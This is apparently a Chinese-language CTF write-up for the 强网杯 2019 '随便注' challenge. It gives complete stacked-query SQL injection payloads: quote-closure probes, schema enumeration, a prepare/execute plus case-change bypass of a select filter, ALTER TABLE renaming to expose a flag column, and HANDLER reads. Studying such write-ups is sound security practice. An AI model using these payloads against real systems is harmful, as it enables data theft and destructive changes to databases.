题目
分析
把 1 提交上去,得到回显如下:
输入框可输入的内容不止数字,尝试用 '
"
')
")
闭合,探测发现输入 1' and 1=1;#
和 1' and 1=2;#
的回显不同,判断为单引号闭合。
1' and 1=1;#
:
1' and 1=2;#
:
尝试查看当前所有数据库 1';show databases;#
:
成功了,接着看看当前所有表 1';show tables;#
:
分别查看两个表的内容。
1';show columns from `1919810931114514`;#
:
1';show columns from words;#
:
在一串数字的表中出现可疑字段 flag
,同时 words 表中的内容包含 id 部分和 data 部分,大概率就是正常提交数据查询到的结果。尝试查看字段值 1';select * from
1919810931114514;#
发现存在过滤:
尝试一些常用绕过方法均失败。从[BUUOJ记录] [强网杯 2019]随便注(三种方法)-Ye'sBlog-博客园大佬的博客学到三种绕过 select
的方法。
1、存储过程绕过(利用 prepare 语句),即预编译绕过
2、重命名绕过(利用 alter 语句与 rename 语句)
3、handler 语句代替 select 查询
1、预编译绕过
传入 1';set @a=concat('se','lect * from `1919810931114514`;');prepare flag from @a;execute flag;#
,其中:
1';
// 用来闭合前面的单引号set @a=concat('se','lect * from `1919810931114514`;');
// concat函数将多个字符串组合成一个字符串,得到select * from `1919810931114514`;
// @a定义了一个用户变量a
// set函数让a接收concat拼接的结果select * from `1919810931114514`;prepare flag from @a;
// 将a的字符串作为代码进行预编译execute flag;
// 执行之前预编译的代码#
// 将源码之后的部分注释掉
得到回显:
这里出现的 strstr
函数在 PHP 中是个查找子字符串的函数,猜测这里是在传入的字符串中找到 set
和 prepare
俩串给咱返回了,即被过滤了。因为 strstr()
是区分大小写的所以咱可以通过改变字母大小写的方法绕过:
传入 1';SET @a=concat('se','lect * from
1919810931114514;');PREPARE flag from @a;execute flag;#
得到 flag。
虽然但是测试了一下发现只需要更改两串其一即可成功绕过。
2、重命名绕过
传入 1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#
,其中
1';
// 用来闭合前面的单引号alter table words rename to words1;
// alter 命令用于更改数据库结构,rename将表words的名字更改为words1alter table `1919810931114514` rename to words;
// 将表1919810931114514的名字更改为wordsalter table words change flag id varchar(100);
// 将表words中的字段名flag更改为id,数据类型为varchar(100)。varchar是可变长度字符串,数据100来自于之前查询到 flag 的长度#
// 将源码之后的部分注释掉
回显:
此时输入框传入的参数由在 words 表中查询 id 值更改为在 1919810931114514 表中查询 flag 值。显然我们不可能传入 flag 进行查询,因此传入永真式 1' or 1=1#
,得到回显:
3、handler 语句代替 select 查询
handler 是 MySQL 专用的语句,可代替 select 语句实现部分功能,具体可参考【MySQL】MySQL 之 handler 的详细使用及说明-边扯边淡-CSDN。
传入 1';handler `1919810931114514` open as ye;handler ye read first;handler ye close;#
,其中:
1';
// 用来闭合前面的单引号handler `1919810931114514` open as ye;
// 打开表1919810931114514的句柄并命名为yehandler ye read first;
// 索引ye第一行数据handler ye close;
//关闭句柄ye
得到 flag。
参考
史上超强最常用SQL语句大全-小小张自由—>张有博-CSDN
[BUUOJ记录] [强网杯 2019]随便注(三种方法)-Ye'sBlog-博客园
PHP strstr() 函数
Mysql中符号@的作用-LC超人在良家-CSDN
【MySQL】MySQL 之 handler 的详细使用及说明-边扯边淡-CSDN